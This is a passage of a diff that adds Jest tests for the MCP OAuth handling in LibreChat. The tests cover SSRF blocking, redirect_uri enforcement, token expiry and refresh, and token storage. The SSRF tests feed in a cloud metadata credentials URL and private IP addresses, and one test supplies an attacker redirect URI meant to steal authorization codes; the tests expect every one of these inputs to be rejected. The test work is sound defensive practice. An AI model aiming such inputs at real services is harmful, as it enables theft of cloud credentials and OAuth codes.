resolveHostnameSSRF is reached. + * This avoids non-deterministic DNS lookups in test execution. + */ +jest.mock('~/auth', () => ({ + ...jest.requireActual('~/auth'), + resolveHostnameSSRF: jest.fn(async () => false), +})); + +function getFreePort(): Promise { + return new Promise((resolve, reject) => { + const srv = net.createServer(); + srv.listen(0, '127.0.0.1', () => { + const addr = srv.address() as net.AddressInfo; + srv.close((err) => (err ? reject(err) : resolve(addr.port))); + }); + }); +} + +function trackSockets(httpServer: http.Server): () => Promise { + const sockets = new Set(); + httpServer.on('connection', (socket: Socket) => { + sockets.add(socket); + socket.once('close', () => sockets.delete(socket)); + }); + return () => + new Promise((resolve) => { + for (const socket of sockets) { + socket.destroy(); + } + sockets.clear(); + httpServer.close(() => resolve()); + }); +} + +describe('MCP OAuth SSRF protection', () => { + let oauthServer: OAuthTestServer; + let ssrfTargetServer: http.Server; + let ssrfTargetPort: number; + let ssrfRequestReceived: boolean; + let destroySSRFSockets: () => Promise; + + beforeEach(async () => { + ssrfRequestReceived = false; + + oauthServer = await createOAuthMCPServer({ + tokenTTLMs: 60000, + issueRefreshTokens: true, + }); + + ssrfTargetPort = await getFreePort(); + ssrfTargetServer = http.createServer((_req, res) => { + ssrfRequestReceived = true; + res.writeHead(200, { 'Content-Type': 'application/json' }); + res.end( + JSON.stringify({ + access_token: 'ssrf-token', + token_type: 'Bearer', + expires_in: 3600, + }), + ); + }); + destroySSRFSockets = trackSockets(ssrfTargetServer); + await new Promise((resolve) => + ssrfTargetServer.listen(ssrfTargetPort, '127.0.0.1', resolve), + ); + }); + + afterEach(async () => { + try { + await oauthServer.close(); + } finally { + await destroySSRFSockets(); + } + }); + + it('should reject token_url pointing to a private IP (refreshOAuthTokens)', async () => { + const code = await oauthServer.getAuthCode(); + const tokenRes = await fetch(`${oauthServer.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${code}`, + }); + const initial = (await tokenRes.json()) as { + access_token: string; + refresh_token: string; + }; + + const regRes = await fetch(`${oauthServer.url}register`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ redirect_uris: ['http://localhost/callback'] }), + }); + const clientInfo = (await regRes.json()) as { + client_id: string; + client_secret: string; + }; + + const ssrfTokenUrl = `http://127.0.0.1:${ssrfTargetPort}/latest/meta-data/iam/security-credentials/`; + + await expect( + MCPOAuthHandler.refreshOAuthTokens( + initial.refresh_token, + { + serverName: 'ssrf-test-server', + serverUrl: oauthServer.url, + clientInfo: { + ...clientInfo, + redirect_uris: ['http://localhost/callback'], + }, + }, + {}, + { + token_url: ssrfTokenUrl, + client_id: clientInfo.client_id, + client_secret: clientInfo.client_secret, + token_exchange_method: TokenExchangeMethodEnum.DefaultPost, + }, + ), + ).rejects.toThrow(/targets a blocked address/); + + expect(ssrfRequestReceived).toBe(false); + }); + + it('should reject private authorization_url in initiateOAuthFlow', async () => { + await expect( + MCPOAuthHandler.initiateOAuthFlow( + 'test-server', + 'https://mcp.example.com/', + 'user-1', + {}, + { + authorization_url: 'http://169.254.169.254/authorize', + token_url: 'https://auth.example.com/token', + client_id: 'client', + client_secret: 'secret', + }, + ), + ).rejects.toThrow(/targets a blocked address/); + }); + + it('should reject private token_url in initiateOAuthFlow', async () => { + await expect( + MCPOAuthHandler.initiateOAuthFlow( + 'test-server', + 'https://mcp.example.com/', + 'user-1', + {}, + { + authorization_url: 'https://auth.example.com/authorize', + token_url: `http://127.0.0.1:${ssrfTargetPort}/token`, + client_id: 'client', + client_secret: 'secret', + }, + ), + ).rejects.toThrow(/targets a blocked address/); + + expect(ssrfRequestReceived).toBe(false); + }); + + it('should reject private revocationEndpoint in revokeOAuthToken', async () => { + await expect( + MCPOAuthHandler.revokeOAuthToken('test-server', 'some-token', 'access', { + serverUrl: 'https://mcp.example.com/', + clientId: 'client', + clientSecret: 'secret', + revocationEndpoint: 'http://10.0.0.1/revoke', + }), + ).rejects.toThrow(/targets a blocked address/); + }); +}); + +describe('MCP OAuth redirect_uri enforcement', () => { + it('should ignore attacker-supplied redirect_uri and use the server default', async () => { + const attackerRedirectUri = 'https://attacker.example.com/steal-code'; + + const result = await MCPOAuthHandler.initiateOAuthFlow( + 'victim-server', + 'https://mcp.example.com/', + 'victim-user-id', + {}, + { + authorization_url: 'https://auth.example.com/authorize', + token_url: 'https://auth.example.com/token', + client_id: 'attacker-client', + client_secret: 'attacker-secret', + redirect_uri: attackerRedirectUri, + }, + ); + + const authUrl = new URL(result.authorizationUrl); + const expectedRedirectUri = `${process.env.DOMAIN_SERVER || 'http://localhost:3080'}/api/mcp/victim-server/oauth/callback`; + expect(authUrl.searchParams.get('redirect_uri')).toBe(expectedRedirectUri); + expect(authUrl.searchParams.get('redirect_uri')).not.toBe(attackerRedirectUri); + }); +}); diff --git a/packages/api/src/mcp/__tests__/MCPOAuthTokenExpiry.test.ts b/packages/api/src/mcp/__tests__/MCPOAuthTokenExpiry.test.ts new file mode 100644 index 0000000000..986ac4c8b4 --- /dev/null +++ b/packages/api/src/mcp/__tests__/MCPOAuthTokenExpiry.test.ts @@ -0,0 +1,654 @@ +/** + * Tests for MCP OAuth token expiry → re-authentication scenarios. + * + * Reproduces the edge case where: + * 1. Tokens are stored (access + refresh) + * 2. Access token expires + * 3. Refresh attempt fails (server rejects/revokes refresh token) + * 4. System must fall back to full OAuth re-auth via handleOAuthRequired + * 5. The CSRF cookie may be absent (chat/SSE flow), so the PENDING flow fallback is needed + * + * Also tests the happy path: access token expired but refresh succeeds. + */ + +import { Keyv } from 'keyv'; +import { logger } from '@librechat/data-schemas'; +import { FlowStateManager, PENDING_STALE_MS } from '~/flow/manager'; +import { MCPTokenStorage, ReauthenticationRequiredError } from '~/mcp/oauth'; +import { MockKeyv, InMemoryTokenStore, createOAuthMCPServer } from './helpers/oauthTestServer'; +import type { OAuthTestServer } from './helpers/oauthTestServer'; +import type { MCPOAuthTokens } from '~/mcp/oauth'; + +jest.mock('@librechat/data-schemas', () => ({ + logger: { + info: jest.fn(), + warn: jest.fn(), + error: jest.fn(), + debug: jest.fn(), + }, + encryptV2: jest.fn(async (val: string) => `enc:${val}`), + decryptV2: jest.fn(async (val: string) => val.replace(/^enc:/, '')), +})); + +describe('MCP OAuth Token Expiry Scenarios', () => { + afterEach(() => { + jest.clearAllMocks(); + }); + + describe('Access token expired + refresh token available + refresh succeeds', () => { + let server: OAuthTestServer; + let tokenStore: InMemoryTokenStore; + + beforeEach(async () => { + server = await createOAuthMCPServer({ + tokenTTLMs: 500, + issueRefreshTokens: true, + }); + tokenStore = new InMemoryTokenStore(); + }); + + afterEach(async () => { + await server.close(); + }); + + it('should refresh expired access token via real /token endpoint', async () => { + // Get initial tokens from real server + const code = await server.getAuthCode(); + const tokenRes = await fetch(`${server.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${code}`, + }); + const initial = (await tokenRes.json()) as { + access_token: string; + token_type: string; + expires_in: number; + refresh_token: string; + }; + + // Store expired access token directly (bypassing storeTokens' expiresIn clamping) + await tokenStore.createToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:test-srv', + token: `enc:${initial.access_token}`, + expiresIn: -1, + }); + await tokenStore.createToken({ + userId: 'u1', + type: 'mcp_oauth_refresh', + identifier: 'mcp:test-srv:refresh', + token: `enc:${initial.refresh_token}`, + expiresIn: 86400, + }); + + const refreshCallback = async (refreshToken: string): Promise => { + const res = await fetch(`${server.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=refresh_token&refresh_token=${refreshToken}`, + }); + if (!res.ok) { + throw new Error(`Refresh failed: ${res.status}`); + } + const data = (await res.json()) as { + access_token: string; + token_type: string; + expires_in: number; + }; + return { + ...data, + obtained_at: Date.now(), + expires_at: Date.now() + data.expires_in * 1000, + }; + }; + + const result = await MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'test-srv', + findToken: tokenStore.findToken, + createToken: tokenStore.createToken, + updateToken: tokenStore.updateToken, + refreshTokens: refreshCallback, + }); + + expect(result).not.toBeNull(); + expect(result!.access_token).not.toBe(initial.access_token); + + // Verify the refreshed token works against the server + const mcpRes = await fetch(server.url, { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + Accept: 'application/json, text/event-stream', + Authorization: `Bearer ${result!.access_token}`, + }, + body: JSON.stringify({ + jsonrpc: '2.0', + method: 'initialize', + id: 1, + params: { + protocolVersion: '2025-03-26', + capabilities: {}, + clientInfo: { name: 'test', version: '0.0.1' }, + }, + }), + }); + expect(mcpRes.status).toBe(200); + }); + }); + + describe('Access token expired + refresh token rejected by server', () => { + let tokenStore: InMemoryTokenStore; + + beforeEach(() => { + tokenStore = new InMemoryTokenStore(); + }); + + it('should return null when refresh token is rejected (invalid_grant)', async () => { + const server = await createOAuthMCPServer({ + tokenTTLMs: 60000, + issueRefreshTokens: true, + }); + + try { + const code = await server.getAuthCode(); + const tokenRes = await fetch(`${server.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${code}`, + }); + const initial = (await tokenRes.json()) as { + access_token: string; + token_type: string; + expires_in: number; + refresh_token: string; + }; + + // Store expired access token directly + await tokenStore.createToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:test-srv', + token: `enc:${initial.access_token}`, + expiresIn: -1, + }); + await tokenStore.createToken({ + userId: 'u1', + type: 'mcp_oauth_refresh', + identifier: 'mcp:test-srv:refresh', + token: `enc:${initial.refresh_token}`, + expiresIn: 86400, + }); + + // Simulate server revoking the refresh token + server.issuedRefreshTokens.clear(); + + const refreshCallback = async (refreshToken: string): Promise => { + const res = await fetch(`${server.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=refresh_token&refresh_token=${refreshToken}`, + }); + if (!res.ok) { + const body = (await res.json()) as { error: string }; + throw new Error(`Token refresh failed: ${body.error}`); + } + const data = (await res.json()) as MCPOAuthTokens; + return data; + }; + + const result = await MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'test-srv', + findToken: tokenStore.findToken, + createToken: tokenStore.createToken, + updateToken: tokenStore.updateToken, + refreshTokens: refreshCallback, + }); + + expect(result).toBeNull(); + expect(logger.error).toHaveBeenCalledWith( + expect.stringContaining('Failed to refresh tokens'), + expect.any(Error), + ); + } finally { + await server.close(); + } + }); + + it('should return null when refresh endpoint returns unauthorized_client', async () => { + await tokenStore.createToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:test-srv', + token: 'enc:expired-token', + expiresIn: -1, + }); + await tokenStore.createToken({ + userId: 'u1', + type: 'mcp_oauth_refresh', + identifier: 'mcp:test-srv:refresh', + token: 'enc:some-refresh-token', + expiresIn: 86400, + }); + + const refreshCallback = jest + .fn() + .mockRejectedValue(new Error('unauthorized_client: client not authorized for refresh')); + + const result = await MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'test-srv', + findToken: tokenStore.findToken, + createToken: tokenStore.createToken, + updateToken: tokenStore.updateToken, + refreshTokens: refreshCallback, + }); + + expect(result).toBeNull(); + expect(logger.info).toHaveBeenCalledWith( + expect.stringContaining('does not support refresh tokens'), + ); + }); + }); + + describe('Access token expired + NO refresh token → ReauthenticationRequiredError', () => { + let tokenStore: InMemoryTokenStore; + + beforeEach(() => { + tokenStore = new InMemoryTokenStore(); + }); + + it('should throw ReauthenticationRequiredError when no refresh token stored', async () => { + await tokenStore.createToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:test-srv', + token: 'enc:expired-token', + expiresIn: -1, + }); + + await expect( + MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'test-srv', + findToken: tokenStore.findToken, + }), + ).rejects.toThrow(ReauthenticationRequiredError); + }); + + it('should throw ReauthenticationRequiredError with correct reason for expired token', async () => { + await tokenStore.createToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:test-srv', + token: 'enc:expired-token', + expiresIn: -1, + }); + + await expect( + MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'test-srv', + findToken: tokenStore.findToken, + }), + ).rejects.toThrow('access token expired'); + }); + + it('should throw ReauthenticationRequiredError with correct reason for missing token', async () => { + await expect( + MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'test-srv', + findToken: tokenStore.findToken, + }), + ).rejects.toThrow('access token missing'); + }); + }); + + describe('PENDING flow fallback for CSRF-less OAuth callbacks', () => { + it('should allow OAuth completion when PENDING flow exists (simulating chat/SSE path)', async () => { + const store = new MockKeyv(); + const flowManager = new FlowStateManager(store as unknown as Keyv, { + ttl: 30000, + ci: true, + }); + + const flowId = 'user1:test-server'; + + await flowManager.initFlow(flowId, 'mcp_oauth', { + serverName: 'test-server', + userId: 'user1', + serverUrl: 'https://example.com', + state: 'test-state', + authorizationUrl: 'https://example.com/authorize?state=user1:test-server', + }); + + const state = await flowManager.getFlowState(flowId, 'mcp_oauth'); + expect(state?.status).toBe('PENDING'); + + const tokens: MCPOAuthTokens = { + access_token: 'new-access-token', + token_type: 'Bearer', + refresh_token: 'new-refresh-token', + obtained_at: Date.now(), + expires_at: Date.now() + 3600000, + }; + + const completed = await flowManager.completeFlow(flowId, 'mcp_oauth', tokens); + expect(completed).toBe(true); + + const completedState = await flowManager.getFlowState(flowId, 'mcp_oauth'); + expect(completedState?.status).toBe('COMPLETED'); + expect((completedState?.result as MCPOAuthTokens | undefined)?.access_token).toBe( + 'new-access-token', + ); + }); + + it('should store authorizationUrl in flow metadata for re-issuance', async () => { + const store = new MockKeyv(); + const flowManager = new FlowStateManager(store as unknown as Keyv, { + ttl: 30000, + ci: true, + }); + + const flowId = 'user1:test-server'; + const authUrl = 'https://auth.example.com/authorize?client_id=abc&state=user1:test-server'; + + await flowManager.initFlow(flowId, 'mcp_oauth', { + serverName: 'test-server', + userId: 'user1', + serverUrl: 'https://example.com', + state: 'test-state', + authorizationUrl: authUrl, + }); + + const state = await flowManager.getFlowState(flowId, 'mcp_oauth'); + expect((state?.metadata as Record)?.authorizationUrl).toBe(authUrl); + }); + }); + + describe('Full token expiry → refresh failure → re-auth flow', () => { + let server: OAuthTestServer; + let tokenStore: InMemoryTokenStore; + + beforeEach(async () => { + server = await createOAuthMCPServer({ + tokenTTLMs: 60000, + issueRefreshTokens: true, + }); + tokenStore = new InMemoryTokenStore(); + }); + + afterEach(async () => { + await server.close(); + }); + + it('should go through full cycle: get tokens → expire → refresh fails → re-auth needed', async () => { + // Step 1: Get initial tokens + const code = await server.getAuthCode(); + const tokenRes = await fetch(`${server.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${code}`, + }); + const initial = (await tokenRes.json()) as { + access_token: string; + token_type: string; + expires_in: number; + refresh_token: string; + }; + + // Step 2: Store tokens with valid expiry first + await MCPTokenStorage.storeTokens({ + userId: 'u1', + serverName: 'test-srv', + tokens: initial, + createToken: tokenStore.createToken, + }); + + // Step 3: Verify tokens work + const validResult = await MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'test-srv', + findToken: tokenStore.findToken, + }); + expect(validResult).not.toBeNull(); + expect(validResult!.access_token).toBe(initial.access_token); + + // Step 4: Simulate token expiry by directly updating the stored token's expiresAt + await tokenStore.updateToken({ userId: 'u1', identifier: 'mcp:test-srv' }, { expiresIn: -1 }); + + // Step 5: Revoke refresh token on server side (simulating server-side revocation) + server.issuedRefreshTokens.clear(); + + // Step 6: Try to get tokens — refresh should fail, return null + const refreshCallback = async (refreshToken: string): Promise => { + const res = await fetch(`${server.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=refresh_token&refresh_token=${refreshToken}`, + }); + if (!res.ok) { + const body = (await res.json()) as { error: string }; + throw new Error(`Refresh failed: ${body.error}`); + } + const data = (await res.json()) as MCPOAuthTokens; + return data; + }; + + const expiredResult = await MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'test-srv', + findToken: tokenStore.findToken, + createToken: tokenStore.createToken, + updateToken: tokenStore.updateToken, + refreshTokens: refreshCallback, + }); + + // Refresh failed → returns null → triggers OAuth re-auth flow + expect(expiredResult).toBeNull(); + + // Step 7: Simulate the re-auth flow via FlowStateManager + const flowStore = new MockKeyv(); + const flowManager = new FlowStateManager(flowStore as unknown as Keyv, { + ttl: 30000, + ci: true, + }); + const flowId = 'u1:test-srv'; + + await flowManager.initFlow(flowId, 'mcp_oauth', { + serverName: 'test-srv', + userId: 'u1', + serverUrl: server.url, + state: 'test-state', + authorizationUrl: `${server.url}authorize?state=${flowId}`, + }); + + // Step 8: Get a new auth code and exchange for tokens (simulating user re-auth) + const newCode = await server.getAuthCode(); + const newTokenRes = await fetch(`${server.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${newCode}`, + }); + const newTokens = (await newTokenRes.json()) as { + access_token: string; + token_type: string; + expires_in: number; + refresh_token?: string; + }; + + // Step 9: Complete the flow + const mcpTokens: MCPOAuthTokens = { + ...newTokens, + obtained_at: Date.now(), + expires_at: Date.now() + newTokens.expires_in * 1000, + }; + await flowManager.completeFlow(flowId, 'mcp_oauth', mcpTokens); + + // Step 10: Store the new tokens + await MCPTokenStorage.storeTokens({ + userId: 'u1', + serverName: 'test-srv', + tokens: mcpTokens, + createToken: tokenStore.createToken, + updateToken: tokenStore.updateToken, + findToken: tokenStore.findToken, + }); + + // Step 11: Verify new tokens work + const newResult = await MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'test-srv', + findToken: tokenStore.findToken, + }); + expect(newResult).not.toBeNull(); + expect(newResult!.access_token).toBe(newTokens.access_token); + + // Step 12: Verify new token works against server + const finalMcpRes = await fetch(server.url, { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + Accept: 'application/json, text/event-stream', + Authorization: `Bearer ${newResult!.access_token}`, + }, + body: JSON.stringify({ + jsonrpc: '2.0', + method: 'initialize', + id: 1, + params: { + protocolVersion: '2025-03-26', + capabilities: {}, + clientInfo: { name: 'test', version: '0.0.1' }, + }, + }), + }); + expect(finalMcpRes.status).toBe(200); + }); + }); + + describe('Concurrent token expiry with connection mutex', () => { + it('should handle multiple concurrent getTokens calls when token is expired', async () => { + const tokenStore = new InMemoryTokenStore(); + + await tokenStore.createToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:test-srv', + token: 'enc:expired-token', + expiresIn: -1, + }); + await tokenStore.createToken({ + userId: 'u1', + type: 'mcp_oauth_refresh', + identifier: 'mcp:test-srv:refresh', + token: 'enc:valid-refresh', + expiresIn: 86400, + }); + + let refreshCallCount = 0; + const refreshCallback = jest.fn().mockImplementation(async () => { + refreshCallCount++; + await new Promise((r) => setTimeout(r, 100)); + return { + access_token: `refreshed-token-${refreshCallCount}`, + token_type: 'Bearer', + expires_in: 3600, + obtained_at: Date.now(), + expires_at: Date.now() + 3600000, + }; + }); + + // Fire 3 concurrent getTokens calls via FlowStateManager (like the connection mutex does) + const flowStore = new MockKeyv(); + const flowManager = new FlowStateManager(flowStore as unknown as Keyv, { + ttl: 30000, + ci: true, + }); + + const getTokensViaFlow = () => + flowManager.createFlowWithHandler('u1:test-srv', 'mcp_get_tokens', async () => { + return await MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'test-srv', + findToken: tokenStore.findToken, + createToken: tokenStore.createToken, + updateToken: tokenStore.updateToken, + refreshTokens: refreshCallback, + }); + }); + + const [r1, r2, r3] = await Promise.all([ + getTokensViaFlow(), + getTokensViaFlow(), + getTokensViaFlow(), + ]); + + // All should get tokens (either directly or via flow coalescing) + expect(r1).not.toBeNull(); + expect(r2).not.toBeNull(); + expect(r3).not.toBeNull(); + + // The refresh callback should only be called once due to flow coalescing + expect(refreshCallback).toHaveBeenCalledTimes(1); + }); + }); + + describe('Stale PENDING flow detection', () => { + it('should treat PENDING flows older than 2 minutes as stale', async () => { + const flowStore = new MockKeyv(); + const flowManager = new FlowStateManager(flowStore as unknown as Keyv, { + ttl: 300000, + ci: true, + }); + + const flowId = 'user1:test-server'; + await flowManager.initFlow(flowId, 'mcp_oauth', { + serverName: 'test-server', + authorizationUrl: 'https://example.com/auth', + }); + + // Manually age the flow to 3 minutes + const state = await flowManager.getFlowState(flowId, 'mcp_oauth'); + if (state) { + state.createdAt = Date.now() - 3 * 60 * 1000; + await (flowStore as unknown as { set: (k: string, v: unknown) => Promise }).set( + `mcp_oauth:${flowId}`, + state, + ); + } + + const agedState = await flowManager.getFlowState(flowId, 'mcp_oauth'); + expect(agedState?.status).toBe('PENDING'); + + const age = agedState?.createdAt ? Date.now() - agedState.createdAt : 0; + expect(age).toBeGreaterThan(2 * 60 * 1000); + + // A new flow should be created (the stale one would be deleted + recreated) + // This verifies our staleness check threshold + expect(age > PENDING_STALE_MS).toBe(true); + }); + + it('should not treat recent PENDING flows as stale', async () => { + const flowStore = new MockKeyv(); + const flowManager = new FlowStateManager(flowStore as unknown as Keyv, { + ttl: 300000, + ci: true, + }); + + const flowId = 'user1:test-server'; + await flowManager.initFlow(flowId, 'mcp_oauth', { + serverName: 'test-server', + authorizationUrl: 'https://example.com/auth', + }); + + const state = await flowManager.getFlowState(flowId, 'mcp_oauth'); + const age = state?.createdAt ? Date.now() - state.createdAt : Infinity; + + expect(age < PENDING_STALE_MS).toBe(true); + }); + }); +}); diff --git a/packages/api/src/mcp/__tests__/MCPOAuthTokenStorage.test.ts b/packages/api/src/mcp/__tests__/MCPOAuthTokenStorage.test.ts new file mode 100644 index 0000000000..3805586453 --- /dev/null +++ b/packages/api/src/mcp/__tests__/MCPOAuthTokenStorage.test.ts @@ -0,0 +1,544 @@ +/** + * Integration tests for MCPTokenStorage.storeTokens() and MCPTokenStorage.getTokens(). + * + * Uses InMemoryTokenStore to exercise encrypt/decrypt round-trips, expiry calculation, + * refresh callback wiring, and ReauthenticationRequiredError paths. + */ + +import { MCPTokenStorage, ReauthenticationRequiredError } from '~/mcp/oauth'; +import { InMemoryTokenStore } from './helpers/oauthTestServer'; + +jest.mock('@librechat/data-schemas', () => ({ + logger: { + info: jest.fn(), + warn: jest.fn(), + error: jest.fn(), + debug: jest.fn(), + }, + encryptV2: jest.fn(async (val: string) => `enc:${val}`), + decryptV2: jest.fn(async (val: string) => val.replace(/^enc:/, '')), +})); + +describe('MCPTokenStorage', () => { + let store: InMemoryTokenStore; + + beforeEach(() => { + store = new InMemoryTokenStore(); + jest.clearAllMocks(); + }); + + describe('storeTokens', () => { + it('should create new access token with expires_in', async () => { + await MCPTokenStorage.storeTokens({ + userId: 'u1', + serverName: 'srv1', + tokens: { access_token: 'at1', token_type: 'Bearer', expires_in: 3600 }, + createToken: store.createToken, + }); + + const saved = await store.findToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:srv1', + }); + expect(saved).not.toBeNull(); + expect(saved!.token).toBe('enc:at1'); + const expiresInMs = saved!.expiresAt.getTime() - Date.now(); + expect(expiresInMs).toBeGreaterThan(3500 * 1000); + expect(expiresInMs).toBeLessThanOrEqual(3600 * 1000); + }); + + it('should create new access token with expires_at (MCPOAuthTokens format)', async () => { + const expiresAt = Date.now() + 7200 * 1000; + await MCPTokenStorage.storeTokens({ + userId: 'u1', + serverName: 'srv1', + tokens: { + access_token: 'at1', + token_type: 'Bearer', + expires_at: expiresAt, + obtained_at: Date.now(), + }, + createToken: store.createToken, + }); + + const saved = await store.findToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:srv1', + }); + expect(saved).not.toBeNull(); + const diff = Math.abs(saved!.expiresAt.getTime() - expiresAt); + expect(diff).toBeLessThan(2000); + }); + + it('should default to 1-year expiry when none provided', async () => { + await MCPTokenStorage.storeTokens({ + userId: 'u1', + serverName: 'srv1', + tokens: { access_token: 'at1', token_type: 'Bearer' }, + createToken: store.createToken, + }); + + const saved = await store.findToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:srv1', + }); + const oneYearMs = 365 * 24 * 60 * 60 * 1000; + const expiresInMs = saved!.expiresAt.getTime() - Date.now(); + expect(expiresInMs).toBeGreaterThan(oneYearMs - 5000); + }); + + it('should update existing access token', async () => { + await store.createToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:srv1', + token: 'enc:old-token', + expiresIn: 3600, + }); + + await MCPTokenStorage.storeTokens({ + userId: 'u1', + serverName: 'srv1', + tokens: { access_token: 'new-token', token_type: 'Bearer', expires_in: 7200 }, + createToken: store.createToken, + updateToken: store.updateToken, + findToken: store.findToken, + }); + + const saved = await store.findToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:srv1', + }); + expect(saved!.token).toBe('enc:new-token'); + }); + + it('should store refresh token alongside access token', async () => { + await MCPTokenStorage.storeTokens({ + userId: 'u1', + serverName: 'srv1', + tokens: { + access_token: 'at1', + token_type: 'Bearer', + expires_in: 3600, + refresh_token: 'rt1', + }, + createToken: store.createToken, + }); + + const refreshSaved = await store.findToken({ + userId: 'u1', + type: 'mcp_oauth_refresh', + identifier: 'mcp:srv1:refresh', + }); + expect(refreshSaved).not.toBeNull(); + expect(refreshSaved!.token).toBe('enc:rt1'); + }); + + it('should skip refresh token when not in response', async () => { + await MCPTokenStorage.storeTokens({ + userId: 'u1', + serverName: 'srv1', + tokens: { access_token: 'at1', token_type: 'Bearer', expires_in: 3600 }, + createToken: store.createToken, + }); + + const refreshSaved = await store.findToken({ + userId: 'u1', + type: 'mcp_oauth_refresh', + identifier: 'mcp:srv1:refresh', + }); + expect(refreshSaved).toBeNull(); + }); + + it('should store client info when provided', async () => { + await MCPTokenStorage.storeTokens({ + userId: 'u1', + serverName: 'srv1', + tokens: { access_token: 'at1', token_type: 'Bearer', expires_in: 3600 }, + createToken: store.createToken, + clientInfo: { client_id: 'cid', client_secret: 'csec', redirect_uris: [] }, + }); + + const clientSaved = await store.findToken({ + userId: 'u1', + type: 'mcp_oauth_client', + identifier: 'mcp:srv1:client', + }); + expect(clientSaved).not.toBeNull(); + expect(clientSaved!.token).toContain('enc:'); + expect(clientSaved!.token).toContain('cid'); + }); + + it('should use existingTokens to skip DB lookups', async () => { + const findSpy = jest.fn(); + + await MCPTokenStorage.storeTokens({ + userId: 'u1', + serverName: 'srv1', + tokens: { access_token: 'at1', token_type: 'Bearer', expires_in: 3600 }, + createToken: store.createToken, + updateToken: store.updateToken, + findToken: findSpy, + existingTokens: { + accessToken: null, + refreshToken: null, + clientInfoToken: null, + }, + }); + + expect(findSpy).not.toHaveBeenCalled(); + }); + + it('should handle invalid NaN expiry date', async () => { + await MCPTokenStorage.storeTokens({ + userId: 'u1', + serverName: 'srv1', + tokens: { + access_token: 'at1', + token_type: 'Bearer', + expires_at: NaN, + obtained_at: Date.now(), + }, + createToken: store.createToken, + }); + + const saved = await store.findToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:srv1', + }); + expect(saved).not.toBeNull(); + const oneYearMs = 365 * 24 * 60 * 60 * 1000; + const expiresInMs = saved!.expiresAt.getTime() - Date.now(); + expect(expiresInMs).toBeGreaterThan(oneYearMs - 5000); + }); + }); + + describe('getTokens', () => { + it('should return valid non-expired tokens', async () => { + await store.createToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:srv1', + token: 'enc:valid-token', + expiresIn: 3600, + }); + + const result = await MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'srv1', + findToken: store.findToken, + }); + + expect(result).not.toBeNull(); + expect(result!.access_token).toBe('valid-token'); + expect(result!.token_type).toBe('Bearer'); + }); + + it('should return tokens with refresh token when available', async () => { + await store.createToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:srv1', + token: 'enc:at', + expiresIn: 3600, + }); + await store.createToken({ + userId: 'u1', + type: 'mcp_oauth_refresh', + identifier: 'mcp:srv1:refresh', + token: 'enc:rt', + expiresIn: 86400, + }); + + const result = await MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'srv1', + findToken: store.findToken, + }); + + expect(result!.refresh_token).toBe('rt'); + }); + + it('should return tokens without refresh token field when none stored', async () => { + await store.createToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:srv1', + token: 'enc:at', + expiresIn: 3600, + }); + + const result = await MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'srv1', + findToken: store.findToken, + }); + + expect(result!.refresh_token).toBeUndefined(); + }); + + it('should throw ReauthenticationRequiredError when expired and no refresh', async () => { + await store.createToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:srv1', + token: 'enc:expired-token', + expiresIn: -1, + }); + + await expect( + MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'srv1', + findToken: store.findToken, + }), + ).rejects.toThrow(ReauthenticationRequiredError); + }); + + it('should throw ReauthenticationRequiredError when missing and no refresh', async () => { + await expect( + MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'srv1', + findToken: store.findToken, + }), + ).rejects.toThrow(ReauthenticationRequiredError); + }); + + it('should refresh expired access token when refresh token and callback are available', async () => { + await store.createToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:srv1', + token: 'enc:expired-token', + expiresIn: -1, + }); + await store.createToken({ + userId: 'u1', + type: 'mcp_oauth_refresh', + identifier: 'mcp:srv1:refresh', + token: 'enc:rt', + expiresIn: 86400, + }); + + const refreshTokens = jest.fn().mockResolvedValue({ + access_token: 'refreshed-at', + token_type: 'Bearer', + expires_in: 3600, + 